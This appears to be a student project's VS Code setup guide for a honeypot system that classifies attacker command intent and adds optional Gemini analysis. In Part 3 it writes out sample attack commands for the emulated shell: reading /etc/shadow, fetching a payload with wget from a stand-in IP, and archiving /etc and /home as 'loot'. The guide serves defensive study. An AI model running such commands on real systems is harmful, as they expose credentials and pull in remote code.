How to Run in VS Code -- Step by Step (+ AI Setup)

Intent-Aware Deception System for Real-Time Attacker Profiling · generated from docs/VSCODE_RUN_GUIDE.md

How to Run This Project in VS Code -- Step by Step

Intent-Aware Deception System - with full AI (Gemini) setup

> **Read this top to bottom.** It assumes you are using **VS Code** on **Windows** and know nothing else. Every command you must type is in a grey box -- type them **one at a time**, press **Enter**, wait for it to finish, then do the next.

> There are **two ways** to run. **Way 1 (Docker) is strongly recommended** -- one command starts everything. Way 2 (manual) is only if you cannot install Docker. Do **Part 3** to attack it and see the attacker on the dashboard. Do **Part 4** to switch on the AI feature.

Part 0 -- One-time installs (do this once)

Tool	Why you need it	How
VS Code	Your editor + terminal	https://code.visualstudio.com/ -> install
Docker Desktop	Runs the whole system with one command (Way 1)	https://www.docker.com/products/docker-desktop/ -> install -> **open it** -> wait until it says **"Engine running"**
Python 3.12+	Needed to run the attack script	https://www.python.org/downloads/ -> **tick "Add Python to PATH"** during install

> You do **NOT** need to install MongoDB, Node.js, or the honeypot yourself -- Docker includes all of them.

Part 1 -- Open the project in VS Code

1. Open **VS Code**.
2. **File -> Open Folder...**
3. Select this folder: `C:\Users\raksh\OneDrive\Desktop\INT-AWARE`
4. Click **Select Folder**. If VS Code asks *"Do you trust the authors?"* -> click **Yes, I trust the authors**.

Open the terminal inside VS Code

- Menu: **Terminal -> New Terminal** (or press **Ctrl +** `` ` `` -- the key above Tab).
- A terminal opens at the bottom, already inside the project folder. You should see the path end with `...\INT-AWARE>`.

> **Tip:** VS Code's terminal is **PowerShell** by default. All commands below work in it. If a `copy` command ever complains, use the PowerShell version shown next to it.

Part 2 -- Way 1: Run everything with Docker (recommended)

Step 1 -- Make your settings file (first time only)

Type this in the terminal:

```
copy .env.example .env
```

(If PowerShell complains, use instead:)

```
Copy-Item .env.example .env
```

This creates a `.env` file. **The system runs fully without any changes to it.** (To switch on the AI feature, see **Part 4** -- but get it running first.)

Step 2 -- Start the whole system

```
docker compose up -d --build
```

- The **first time** this takes ~2-4 minutes (it downloads and builds everything).
- Later starts take a few seconds.
- When done you'll see `Started` next to **mongo**, **cowrie**, **api**, and **dashboard**.

Check everything is up:

```
docker compose ps
```

Step 3 -- Open the dashboard

Open your browser to:

- **Dashboard (what you watch):** http://127.0.0.1:5173
- **API + interactive docs:** http://127.0.0.1:8000/docs

The dashboard opens but is **mostly empty** -- a honeypot only shows data once someone attacks it. That's **Part 3**.

> **Skip to Part 3 now to attack it.** (Part 2b below is only if you can't use Docker.)

Part 2b -- Way 2: Run manually without Docker (alternative)

Use this only if Docker won't install. You need **Python 3.12+**, **Node.js 18+**, and **MongoDB** running locally. In VS Code you can open **multiple terminals** with the `+` button in the terminal panel -- one per step below.

Terminal 1 -- one-time setup:

```
python -m venv .venv
```

```
.venv\Scripts\python.exe -m pip install -r requirements.txt
```

```
copy .env.example .env
```

Terminal 1 -- start the honeypot (port 2222):

```
.venv\Scripts\python.exe scripts/run_cowrie.py
```

Terminal 2 (click `+`) -- start the backend + AI pipeline (port 8000):

```
.venv\Scripts\python.exe scripts/run_backend.py --host 127.0.0.1 --port 8000 --with-pipeline
```

Terminal 3 (click `+`) -- start the dashboard (port 5173):

```
cd frontend
```

```
npm install
```

```
npm run dev -- --host 127.0.0.1 --port 5173
```

Open http://127.0.0.1:5173. Then go to **Part 3** to attack, using **Terminal 4**.

Part 3 -- Attack the honeypot & SEE the attacker on the dashboard

The system is a **honeypot** -- a fake SSH server. Everything sent to it is treated as an attack. You attack it, and the pipeline classifies each command's **intent**, scores its **risk**, and streams it to the dashboard **live (no refresh needed)**.

Keep the dashboard (http://127.0.0.1:5173) open on screen while you do this.

Step 1 -- Set up the attack helper (first time only)

Open a **new terminal** in VS Code (the `+` button) and type:

```
python -m venv .venv
```

```
.venv\Scripts\python.exe -m pip install -r requirements.txt
```

(If you already did this in Way 2, skip it.)

Step 2 -- Launch the attack (drives all 10 intent types)

```
.venv\Scripts\python.exe scripts/demo_all_intents.py
```

You'll watch it type attacker commands with their intent, e.g.:

```
1. [RECONNAISSANCE ] $ uname -a 6. [CREDENTIAL_ACCESS ] $ cat /etc/shadow 8. [EXECUTION ] $ wget
http://192.0.2.10/payload.sh -O /tmp/p.sh; ... 14. [EXFILTRATION ] $ tar czf /tmp/loot.tar.gz /etc /home
```

Step 3 -- Watch the dashboard react (this is "seeing the attacker")

Where to look on the dashboard	What changes
Top number cards (Total Events, Active Sessions, Critical Alerts)	Numbers tick **up** live as commands land
Live Ingested Telemetry panel (Overview)	Each attacker command appears as a new row within ~1-2 s, showing its **intent**, **severity**, and a **source badge** (`ML`, `HYBRID`, `RULE`) with the ML confidence %
Intent Distribution donut	Slices grow as different intents arrive
Live Sessions page (left menu)	A new **session** row appears -- click **Inspect** to see the full attack story, the intent sequence, the MITRE techniques, and the rising **risk score 0-100**
Threat Alerts page	If a session's risk hits **>= 75**, a red **CRITICAL alert** appears
Attacker Profiles page	The attacker's **IP** shows up with its session history and peak risk

Step 4 -- Prove it end-to-end (optional, great for your report)

```
.venv\Scripts\python.exe scripts/verify_live.py
```

This reads the live API and prints a **PASS/FAIL** verdict, confirming the ML model is classifying real events.

(Optional) Attack it BY HAND for a live viva demo

Windows has SSH built in. In a terminal:

```
ssh root@127.0.0.1 -p 2222
```

- If asked *"Are you sure you want to continue connecting?"* -> type `yes`.
- Password: `root`
- Now type commands one at a time and flip to the dashboard to watch each appear:

```
whoami
```

```
cat /etc/shadow
```

```
wget http://192.0.2.10/payload.sh -O /tmp/p.sh
```

```
tar czf /tmp/loot.tar.gz /etc /home
```

Type `exit` when done. *(Nothing runs on your PC -- the honeypot only emulates a shell.)*

Part 4 -- Turn ON the AI feature (Google Gemini)

Important honesty note for your viva: the system is **fully working without AI** -- the **ML model + rules** do all the core classification. Gemini is an **optional extra layer** that adds two things: 1. **Semantic classification** of *novel/ambiguous* commands the rules and ML aren't sure about. 2. A written **"Adversary Assessment Report"** button on each session (objective, threat interpretation, recommended defence, attack progression).

Here's how to switch it on.

Step 1 -- Get a free Gemini API key

1. Go to **https://aistudio.google.com/app/apikey**
2. Sign in with your **Google account**.
3. Click **"Create API key"** -> copy the key (a long string starting with `AIza...`).

(Google's free tier is plenty for a demo. Never share or commit this key.)

Step 2 -- Put the key in your `.env` file

1. In VS Code's **Explorer** (left panel), click the **`.env`** file to open it. *(If you don't see it, you may need to click the "..." / show hidden -- the file is at the project root, created in Part 2 Step 1.)*
2. Find this line: `GEMINI_API_KEY=your_gemini_api_key_here`
3. Replace `your_gemini_api_key_here` with the key you copied, so it reads: `GEMINI_API_KEY=AIzaSyD...your...real...key GEMINI_MODEL=gemini-2.5-flash GEMINI_ENABLED=true`
4. **Save** the file (**Ctrl + S**).

> `GEMINI_ENABLED=true` is already the default. The AI turns on the moment a **real key** is present.

Step 3 -- Restart so it picks up the key

If you used Docker (Way 1):

```
docker compose up -d --build
```

If you ran manually (Way 2): stop the backend terminal (**Ctrl + C**) and start it again:

```
.venv\Scripts\python.exe scripts/run_backend.py --host 127.0.0.1 --port 8000 --with-pipeline
```

Step 4 -- Confirm the AI is ON

- Look at the **top-right of the dashboard navbar**: the **AI** badge should now read **`AI: ON`** (amber sparkle icon). If it says `AI: OFF`, the key didn't load -- re-check Step 2 and restart.
- Or open **http://127.0.0.1:8000/api/health** -- you should see `"gemini_enabled": true`.

Step 5 -- Use the AI report

1. Attack the honeypot (Part 3) so there's a session.
2. Open **Live Sessions** -> click **Inspect** on a session.
3. Scroll to the purple **"Google Gemini AI Session Analyst"** box.

4. Click **"Analyze Session with AI"**.
5. In a moment you get an **Adversary Assessment Report**: the deduced **objective**, a **threat-actor interpretation**, a **recommended defensive response**, and a numbered **attack-progression breakdown**.

> If the key is missing/invalid, the system keeps working on ML + rules and simply doesn't show the AI report -- it never crashes. That "graceful degradation" is a good point to mention in your report.

Part 5 -- Stopping & resetting

Stop everything (Docker):

```
docker compose down
```

Wipe all captured data and start fresh (empty dashboard again):

```
docker compose down -v
```

```
docker compose up -d --build
```

Manual run: press **Ctrl + C** in each terminal.

Part 6 -- If something goes wrong

Problem	Fix
`docker : command not found` / *Cannot connect to the Docker daemon*	Docker Desktop isn't running. Open it, wait for **"Engine running"**, retry.
Dashboard loads but says it can't reach the backend	Wait 10-20 s after `docker compose up`, then refresh -- the API needs a moment.
Dashboard is empty	You haven't attacked yet -- do **Part 3**.
`python : command not found`	Python isn't on PATH. Reinstall and tick **"Add Python to PATH"**.
AI badge stays `AI: OFF`	The key isn't loaded. Re-open `.env`, confirm `GEMINI_API_KEY=` has your real key (no quotes, no spaces), save, and **restart** (Part 4 Step 3).
AI report button errors	Key may be invalid or over quota. Get a fresh key from AI Studio. The rest of the system is unaffected.
SSH (by-hand attack) refuses to connect	Just use the script in Part 3 Step 2 -- it handles the handshake itself.
Port already in use (5173 / 8000 / 2222)	`docker compose down`, close whatever else uses that port, retry.
See what's running	`docker compose ps`
Read live logs	`docker compose logs -f api` (or `dashboard`, `cowrie`, `mongo`)

Quick address reference

URL / port	What it is
http://127.0.0.1:5173	The analyst **dashboard** (what you watch)
http://127.0.0.1:8000/docs	The **API** with interactive docs
http://127.0.0.1:8000/api/health	Shows `gemini_enabled`, ML status, DB status
127.0.0.1:2222	The **honeypot** SSH port (you attack here; safe/emulated)

Safety (good to state in your report)

- The honeypot only **emulates** a shell -- **no attacker command ever executes** on your PC or the backend. Cowrie is the only component that touches attacker input.
- Test attacks use **documentation IP ranges** (192.0.2.0/24) that route nowhere real. No real malicious payloads run.
- Your Gemini key lives **only** in `.env` (never committed). The AI is **optional** -- the system runs fully without it.

The 60-second version (once everything is installed)

```
copy .env.example .env
```

```
docker compose up -d --build
```

```
.venv\Scripts\python.exe scripts/demo_all_intents.py
```

Open **http://127.0.0.1:5173** and watch the attacker appear. For AI: paste your key into `.env` (Part 4), rerun `docker compose up -d --build`, and click **Analyze Session with AI**.